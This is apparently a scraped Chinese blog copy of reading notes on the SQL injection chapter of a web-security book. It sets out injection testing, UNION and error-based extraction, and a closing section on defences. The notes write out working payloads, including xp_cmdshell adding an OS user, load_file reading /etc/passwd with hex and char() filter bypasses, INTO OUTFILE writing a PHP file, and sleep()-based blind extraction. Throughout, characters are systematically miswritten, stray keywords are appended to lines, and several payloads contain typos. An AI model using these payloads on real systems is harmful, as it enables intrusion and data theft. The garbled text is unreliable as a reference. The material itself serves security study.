《Web安全深度解析》读书笔记-原理篇-SQL注入

SQL注入漏洞分类php

分为:数字型和字符型程序员

数字型注入:在弱类型语言中容易产生该类漏洞,如ASP、PHP。算法

强类型语言中若是试图将一个字符型转换为int型,则会抛出异常,没法继续执行,如JAVA、C#等。sql

因此在强类型语言中不多存在数字型注入漏洞。shell

断定如类型语言的 数字型注入漏洞三步走:数据库

前提:假设有URL为HTTP://www.xxser.com/test.php?id=8,能够猜想其SQL为select * from table where id=8数组

测试步骤:浏览器

一、HTTP://www.xxser.com/test.php?id=8'安全

SQL语句为HTTP://www.xxser.com/test.php?id=8',这样的语句确定会出错,服务器

致使脚本程序没法从数据库中获取正常数据,从而是原来的页面出现异常。

二、HTTP://www.xxser.com/test.php?id=8 and 1=1

SQL语句为select * from table where id=8 and 1=1,语句执行正常,返回数据与原始请求无差别。

三、HTTP://www.xxser.com/test.php?id=8 and 1=2

SQL语句变为select * from table where id=8 and 1=2,语句执行正常,但却没法查询出数据,

由于“1=2”始终为假。因此返回数据与原始请求有差别。

若是以上三个步骤所有知足,则程序就可能存在SQL注入漏洞。

字符型注入:输入参数为字符时,成为字符型

数字型和字符型的区别在于,数字型不须要单引号闭合,而字符串类型通常要使用单引号来闭合。

数字型例句:select * from table where id=8

字符型例句:select * from table where username='admin'

字符型注入最关键的在于如何闭合SQL语句以及注释掉多余的代码。

例如:

当查询内容为字符串时,SQL代码以下:

select * from table where username='admin'

当攻击者进行SQL注入时,若是过输入“amdin and 1=1”,则没法进行注入。

由于“amdin and 1=1” 会被数据库当作查询条件字符串来处理,SQL以下:

selec * from table where username = 'admin and 1=1'

这时想要进行注入,则必须注意字符串闭合问题。若是输入“admin ’and 1=1 --”就能够继续注入,SQL以下:

select * from table where username ='admin' and 1=1 --'

只要会字符串类型注入,都必须闭合单引号以及注释掉多余的代码。例如,uodate语句:

update Person set username='username' ,set password='password' where id=1

如今对该语句进行注入,就须要闭合单引号,能够在username或者password处插入语句为:

"'+(select @@version)+'",

最终的执行语句为:

update Person set username='username', set password=''+(select @@version)+ '' where id =1

利用两次单引号闭合才能完成SQL注入

注:数据库不一样,字符串链接符也不一样,

如SQL Server 链接符号为“+”,Oracle链接符号为“||”,Mysql的链接符号为空格

例如Insert语句:

Insert into users (username,password,title) values('username', 'password','titile')

当注入title字段时,能够像update同样,直接使用一下SQL语句:

Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')

SQL注入类型

整体来说仍是分为两类,数字型和字符型

注入字段在不一样的位置,产生一些常见的注入叫法:

POST注入:注入字段在POST数据中

Cookie注入:注入字段在Cookie数据中

延时注入:使用数据库延时特性注入

搜索注入:注入处为搜索的地点

base64注入:注入字符串须要通过base64加密

常见的数据库注入

数据库:Oracle11g,MySQL5.1,SQL Server 2008

方式:查询数据,读写文件,执行命令

针对数据库的注入无非都是上面三件事。

5.3.一、SQL Server

一、利用错误消息提取信息

SQL Server对错误信息的定位十分准确,对开发是好事儿,对攻击者也是不错的。

1.1 枚举当前表和列

在查询sql中插入以下语句: 'having 1=1--

select * from users where username='root' and password='root' having 1=1 --'

这样SQL执行器会报错,选择列表中的列’users.id‘无效,由于该列没有包含在聚合函数或group By子句中。

这样攻击者能够利用此特性继续找到其余的列明,输入SQL以下:

select * from users where username='root' and password='root' group by users.id having 1=1 --

1.2 利用类型错误提取数据

试图利用不一样类型字段之间的比较,使得sql编译器抛出异常,获取信息,以下SQL:

select * from users where username='root' and password='root'

and 1 > (select top 1 username from users)

执行器错误提示:

在将varchar值’root‘转换成数据类型int时失败,这样就暴露了root这个帐户,一次递归会发现全部的帐户

select * from users where username='root' and password='root' and

1>(select top 1 username from users where username not in ('root'))

若是不嵌套子查询,也一样能够达到目的,须要用到SQL Server的内置函数CONVERT或者CASE函数,

这两个函数的功能是:将一种数据类型 转转为另外一种数据类型。

输入以下SQL语句:

select * from users where username='root' and password='root'

and 1=convert(int ,(select top 1 users.username from users))

若是感受递归比较麻烦,能够经过FOR XML PATH语句将查询的数据生成XML,SQL语句以下:

select* from users where username='root' and password='root'

AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +

users.password from users for xml path ('')),1,1,'')))

二、获取元数据

SQL Server提供大量的视图,便于取得元数据。下面使用information_schema.tables 与

information_schema.columns视图取得数据库表以及表的字段。

取得当前数据库表:

select table_name from infromation_schema.tables

取得表Student表字段:

select columnname from information_schema.columns where table_name='Student'

还有其余的一些视图:

sys.databases:SQL Server中全部的数据库

sys.sql_logins:SQL Server全部登陆名

information_schema.tables:当前用户数据库中的表

information_schema.columns:当前用户数据库中的列

sys.all_columns:用户定义对象和系统对象的全部列的联合

sys.databases_principals:数据库中每一个权限或列异常权限

sys.databases_files:存储在数据库中的数据库文件

sysobjects:数据库中建立的每一个对象,例如:约束、日志 以及存储过程

三、Orderby子句

为SELECT查询的列排序,若是同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效。

攻击者一般会经过注入Order by语句来判断此表的列数。

SQL语句:

1 、select id,username,password, from users where id=1 -------SQL执行正常

2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL执行正常

三、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL执行正常

四、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL执行正常

五、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL执行异常

错误提示:Order by 位置号 4 超出了选择列表中相熟的范围

这样攻击者得知当前SQL语句有几列,随后会配合union关键字进行下一步的攻击

四、Union查询

union关键字将两个或者更多个查询结果组合为单个结果集,俗称联合查询。

使用union合并两个查询结果集的基本规则:

一、全部查询中的列数必须相同

二、数据类型必须兼容

例如,联合查询探测字段数

前面介绍的USERS表,查询ID字段为1 的用户,正常的SQL语句

select id ,username,password from users where id=1

使用Union查询对id字段注入,SQL语句以下:

select id,username,password,sex from users where id=1 union select null

数据库发生异常,:使用union,intersect或者except运算符合并的全部查询必须再起目标列中有相同的表达式

递归查询,知道无错偏差生,可得知User表查询的字段数

union select null,null

union select null,null,null

也有人喜欢使用select 1,2,3语句,不过该语句容易出现类型不兼容的异常。

例二:联合查询敏感信息

上面例子介绍如何获取字段数,接下来曝光攻击者如何使用union关键字查询敏感信息,

union查询能够在SQL注入中发挥很是大的做用。

得知四列后,可使用一下语句继续注入:

id=5 union select 'x',null,null,null from stsobject where xtype='U'

若是数据类型不匹配,数据库会报错,这是能够继续递归查询,知道语句正常执行为止。

语句执行正常,表明数据类型兼容,就能够将x替换为SQL语句,查询敏感信息。

union和union all 最大的区别在于union会自动去除重复的数据,而且按照默认规则排序。

五、无辜的函数

SQL Server存在一些系统函数,利用系统函数能够方位SQL Server系统表中的信息。

select suser_name();返回用户的登录标识号

select user_name():基于指定的标识号返回数据库的用户名

select db_name():返回数据库名称

select is_member('db_owener'):是否为数据库角色

select convert(int,'5'):数据类型转换

SQL Server经常使用函数:

stuff:字符串截取函数

ascii:取ASCII码

char:根据ASCII码取字符

getdate:返回日期

count:返回卒中的总条数

cast:将一种数据类型的表达式显示的转换成另外一种数据类型的表达式

rand:返回随机值

is_srvrolemember:只是SQL Server登陆名是否为指定服务器角色的成员

六、危险的存储过程

存储过程(Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组SQL“函数”。

如执行系统命令,查看注册表,读取磁盘目录等。

攻击者最常使用的存储过程是 xp_cmdshell,这个存储过程容许用户执行操做系统命令。例如:

http://demo.testfire.net/test.aspx?id=1 存在注入点,那么攻击者能够试试攻击:

http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'

最终执行的SQL语句以下:

select * from table where id=1;exec xp_cmdshell 'bet user test test /add'

攻击者能够直接利用xp_cmdshell操做服务器。

注:只有持有control server 权限的用户才能使用此类存储过程。

常见的存储过程:

sp_addlogin:建立新的SQL Server登陆,该登陆容许用户使用SQL Server身份验证链接到SQL Server实例

sp_dropuser:从当前数据库中删除数据库用户

xp_enumgroups:提供Windows本地组列表或指定的Windows域中定义的全局组列表

xp_regwrite:违背公布的存储过程,写入注册表

xp_regread:读取之策表

xp_regdeletevalue:删除注册表

xp_dirtree:读取目录

sp_password:更改密码

xp_servicecontrol:中止或激活某服务

另外,任何一种数据库在使用一些特殊的函数或者存储过程时,都须要特定的权限,不然没法使用。

SQL Server数据库的以为与权限以下:

bulkadmin:运行BULK INSERT语句

dbcreator:建立,更改,删除和还原任何数据库

diskadmin:管理磁盘文件

processadmin:能够终止在数据库引擎中实例中运行的进程

securityadmin:管理登陆名及其属性。能够利用grant,deny和revoke服务器级别的权限,

还能够利用grant,deny,和revoke数据库级别的权限,还能够重置SQL Server登陆名的密码

serveradmin:能够更改服务器范围的配置选项和关闭服务器

setupadmin:能够添加或删除连接服务器,并能够执行某些系统存储过程

sysadmin:角色成员能够在数据库引擎中执行任何活动。

默认状况下Windows BUILTIN\Administrator组的全部成员都是sysadmin固定服务器角色的成员。

七、动态执行

SQL Server支持动态执行语句,用户能够经过提交字符串来执行SQL语句,例如:

exec('select username,password from users')

exec('selec'+'t username ,password fro' + 'm users')

因为大部分Web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,

这一特殊性能够突破不少防火墙及防注入程序,如:

declare @query varchar(888)

select @query=0x73656C6563742031

exec(@query)

或者:

declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

5.3.二、MySQL

数据库的注入过程基本上是类型,不一样的是各个数据的一些使用函数或语句有些差别,

如,查看数据库SQL Server使用函数@@version,而MySQL是version()。

一、MySQL中的注释

#:注释从 # 字符到行尾

--:注释从 --序号到行尾,须要注意的是,使用此注释时,后面须要跟上一个或者多个空格或tag均可以

/**/:注释从/*序列到*/序列中间的字符,其中/**/注释存在一个特色

select id /*!5555, username */ from users

执行结果中发现/**/注释没有起到做用,语句正常执行。其实这不是注释,而是/*!*/,感叹号是有特殊意义的,

如/*!5555,username*/的意思是

若MySQL的版本号高于或者等于5.55.55,语句将会被执行,若是!后面不加版本号,MySQL将会直接执行SQL语句。

二、获取元数据

MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息数据库,

它提供了访问数据库元数据的方式。下面介绍若是从中读取数据库名称、表名称、列名称。

一、查询用户数据库名称

select schema_name from information_schema.shemata limit 0,1

--从information_schema.shemata表中查询第一个数据库名称

二、查询当前数据库表

select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1

--查询当前数据库表,只显示第一条数据

三、查询指定表的全部字段

select column_name from information_schema.columns where table_name='Student' limit 0,1

-- 查询 table_name为Student的字段名

三、UNION查询

MySQL的官方解释union查询 用于吧来自许多的select语句的结果组合到一个结果集中,且每列的数据类型必须相同。

MySQL和Oracle不像SQL Server那样能够执行多语句,因此在利用查询是,一般配合union关键字。

MySQL和SQL Server中执行:

select id ,username,password from users union select 1,2,3

Oracle中执行:

select id ,username,password from users union select 1,2,3 from dual

执行后,SQL Server和Oracle 报错,数据类型不匹配,没法正常执行,MySQL语句正常执行。

由此返现,在Oracle和SQL Server中,列的数据类型在不肯定的状况下,最好使用NULL关键字匹配。

注意:一、UNION 结果集中的列名老是等于第一个 SELECT 语句中的列名

二、UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有类似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同

MySQL的Group by

group by语法能够根据给定数据列的每一个成员对查询结果进行分组统计,最终获得一个分组汇总表

SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT

注意:

必须在group子句以前指定where子句,

在SELECT语句中指定的每一个列名也在GROUP BY子句中提到。未在这两个地方提到的列名将产生错误。

在group by子句后使用HAVING子句,HAVING子句可包含一个或多个用AND和OR链接的谓词,

HAVING 子句基本上老是包含汇集函数

如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1

先用group by 对email进行分组,在用having来过滤大于1的,这样查找出来的就是重复的记录了.

WHERE 子句做用于表和视图,HAVING 子句做用于组。

四、MySQL函数利用

一、load_file()函数读取文件操做

文件必须在服务器上,文件的路径必须为绝对路径(全路径),并且用户必须持有FILE权限,文件容量也必须小于 max_allowed_packet字节(默认16MB,最大1GB)

SQL语句,union select 1, load_file('/etc/password'),3,4,5,6 #

一般,一些防注入语句不容许单引号出现,那么使用一下语句绕过:

union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#

0x2F6563742F706173737764为/etc/password十六进制的转换结果,或者使用:

union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #

在SQL注入中,将会常常出现使用函数组合来达到某种目的,例如,在浏览器返回数据时,有可能出现乱码问题,那么可使用hex()函数将字符串转换为十六进制数据:

select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));

二、into outfile写文件操做

MySQL提供向磁盘写入文件的操做,与load_file()同样,必须持有FILE权限,而且文件必须为全路径名称。

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

三、链接字符串

在MySQL中若是须要一次性查询多个数据,可使用concat()或concat_ws()函数

3.一、concat()函数

select name from users where id=1 union select concat(user(),',',database(),',',version());

结果以下:

+*********************************************************+

|name |

+**********************************************************+

| admin |

|xxser |

|root@localhost,mychool,5.1.50-community-log|

+**********************************************************+

能够发现,如今三个值已经成为一列,而且以逗号隔开。在concat()函数中的逗号能够用十六进制表示

concat(user(),0x2c,database(),0x2c,version())

3.二、concat_ws()函数

比concat()函数更简洁

concat_ws(0x2c,user(),database(),version())

select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());

更多经常使用函数及说明

函数 说明
length 返回字符串长度
substring 截取字符串长度
asscii 返回ASCII码
hex 把字符串转换 为十六进制
now 当前系统时间

 

unhex hex的反向操做
floor(x) 返回不大于x的最大整数值
md5 返回MD5值
group_concat 返回带有来自一个组的链接的非NULL值的字符串结果
@@datadir 读取数据库路径
@@basedir MySQL安装路径

 

@@version_complite_os 操做系统
user 用户名
current_user 当前用户名
system_user 系统用户名
database 数据库名
version MySQL数据库版本

五、MySQL显错式注入

显错式注入,即利用数据库的报错信息提取消息。

六、宽字节注入

是由编码不统一形成的,这种注入通常出如今PHP+MySQL中。

七、MySQL长字符截取

在默认状况下,若是输入数据超过默认长度,MySQL会将其截断。

八、延时注入

因为网站技术的不断提高,在url中添加什么语句都不会有变化,只能经过盲注判断,盲注即页面无差别的注入。

延时注入属于盲注的一种,是一种基于时间差别的注入技术,下面以MySQL为例,主要讲一下延时注入

在MySQL中有一个函数:SLEEP(duration),这个函数的意思是在duration参数给定的秒数后运行语句,以下sql:

select * from users where id=1 and sleep(3); /*三秒后执行SQL语句*/

知道了sleep函数能够延时后,那就可使用这个函数来判断URL是否存在SQL注入漏洞,步骤以下:

一、http://www.secbug.com/user.jsp?id=1 //页面返回正常,1秒左右打开界面

二、http://www.secbug.com/user.jsp?id=1 ' //页面返回正常,1秒左右能够打开页面

三、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //页面返回正常, 1秒左右能够打开页面

四、http://www.secbug.com/user.jsp?id=1 and sleep(3) //页面返回正常,3秒左右能够打开页面

经过页面返回的时间能够判定,DBMS执行了and sleep(3)语句,这样一来,就能够判断出URL确实存在SQL漏洞。

经过sleep函数能够判断出注入点,那么能读出数据吗?

答案是确定能够的,可是须要与其余函数配合使用,下面就是经过延时韩式注入读取当前MySQL用户的例子。

思路:

一、查询当前用户,并取得字符串长度

二、截取字符串的第一个字符,并转换为ASCII码

三、将第一个字读的ascii码与ASCII码表对比,若是过比对成功则延时3秒

四、继续步骤2/3,直至字符串截取完毕

对应的SQL语句以下:

一、and if(length(user())=0, sleep(3),1)

循环0,若是出现3秒延迟,就能够判断出user字符串长度,注入时一般会采用半折算法减小判断。

二、and if(hex(mid(user(),1,1))=1, sleep(3),1)

取出user字符串的第一个字符,而后与ASCII码表循环对比

三、and if(hex(mid(user(),L,1))=N,sleep(3),1)

递归破解第二个ASCII码,第三四五个ASCII码

同理,既然经过延时注入能够读取数据库当前MySQL用户,那么读取表、列、文件都是能够实现的。

注:L是位置表明字符串的第几个字符,N的位置表明ASCII码。

SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函数。

5.四、注入工具

SQLMap,pangolin,Havij

5.五、防止SQL注入

SQL注入攻击的问题最终归于用户能够控制输入,SQL注入、xss、文件包含、命令执行均可归于此。

有输入的地方就可能存在风险。简单粗暴的方式:

禁止或者过滤掉单引号,问题是外国人的名字中有单引号,数字型注入也不必定会使用单引号

禁止输入查询语句,如select,insert,union关键字,问题是能够经过注释绕过关键字,

如sel/**/ect等,对注释进行分割,且不影响数据库的正常执行。

5.5.一、严格的数据类型

Java和C#等强类型语言基本上能够彻底忽略数字型注入,例如请求ID为1的新闻,攻击者想要注入几乎不可能

5.5.二、特殊字符转义

经过增强数据类型校验能够解决数字型的SQL注入,字符型却不能够,由于他们都是string类型,你没法判断输入是否为恶意攻击。

对特殊字符转义--在数据库查询字符串时,任何字符串都须要加上单引号。将这些特殊字符转义可以有效防护字符型SQL注入。

须要转义的字符参考OWASP ESAPI

在特殊字符转义过滤SQL注入时,须要注意“二次注入攻击”

在第一次注入时,将特殊字符转义,可是在数据库中存储时却没有‘\’,在第二次查询时使用单引号匹配注入,如:

第一次插入数据时,单引号被转义

insert into message(id,title,content) values(3,'secbug\'','secbug.org')

单引号已经被转义,这样注入攻击就没法成功,但,secbug\'在插入数据库后去没有了"\",语句以下:

+*****+*****************+*********************+

|id | title | content |

+****+*******************+*******************+

|1 | secbug' | secbug.org |

+****+*******************+*******************+

这样若是有另外一处查询为:

select id,title,content from message where title='$title'

那么正宗攻击就称为二次SQL注入,好比讲title改成

‘ union select 1, @@version 3 --

,目前不少开源系统都存在这样的问题,第一次不会出现漏洞,可是第二次却出现了SQL注入漏洞。

5.5.3 使用预编译语句

Java、C#等语言提供了预编译语句。

Java中提供了三个接口与数据库交互,Statement,CallableStatement,PreparedStatement.

Statement用于执行静态SQL语句,并返回它们所生成的结果对象。

PrepareStatement为Statement子类,表示预编译SQL语句对象。

CallableStatement为PrepareStatement的子类,用于执行SQL存储过程。

虽然PrepareStatement接口是安全的,可是若是使用动态拼接SQL语句,那就会失去它的安全性。

想要使PrepareStatement防护SQL注入,必须使用它提供的setter方法(setShort、setString等)。

5.5.四、框架技术

在众多框架中,有一类框架专门与数据库打交道,被称为持久层框架,好比Hibernate,MyBatis,JORM。

简要介绍Hibernate:

Hibernate是一个开源代码的ORM(对象关系映射)框架,他对JDBC进行很是轻量级的对象封装,

是的Java程序要能够为所欲为的神勇面向对象思惟操做数据库。

Hibernate是跨平台的,几乎不须要修改SQL语句便可适用于各类数据库,

它的安全性较高,但也一样存在注入,这类对象关系映射框架注入也被称为ORM注入。

Hibernate自定义的SQL语言叫做HQL,是一种面向对象的查询语言。

使用此语言时千万不要使用动态拼接的方式组成SQL语句,不然可能形成SQL注入。

5.5.五、存储过程(Stored Procedure)

在存储过程当中直接使用exec执行SQL语句,这和直接写select* from Student where StudentNo=id 没有区别,传入参数3 or 1=1

将查询出所有数据,形成SQL注入漏洞。例如:

create proc findUserId @id varchar(100)

as

exec('select * from Student where StudentNo= ' +@id);

go

改进为:

create proc findUserId @id varchar(100)

as

select * from Student where StudentNo=@id

go

参数3 or 1=1,SQL执行器抛出错误:

在将varchar值'3 or 1=1'转换为数据类型int时失败。

小结:

SQL注入的危害虽然很大,可是能够彻底杜绝,陈旭开发团队必定要有本身的安全规范模板,由于不可能每一个程序员都了解SQL注入,因此团队有一套本身的模板后,SQL注入会大大减小。好比碰到SQL语句彻底采用PrepareStatement类,且必须用参数绑定,若是这样还存在SQL注入,那就是某个程序员没有遵循规范,这样就从安全转移到代码规范的问题上,只要遵循规范,不会有问题,这一方法不管是SQL注入,仍是后面的其余漏洞,都适用。

相关文章
相关标签/搜索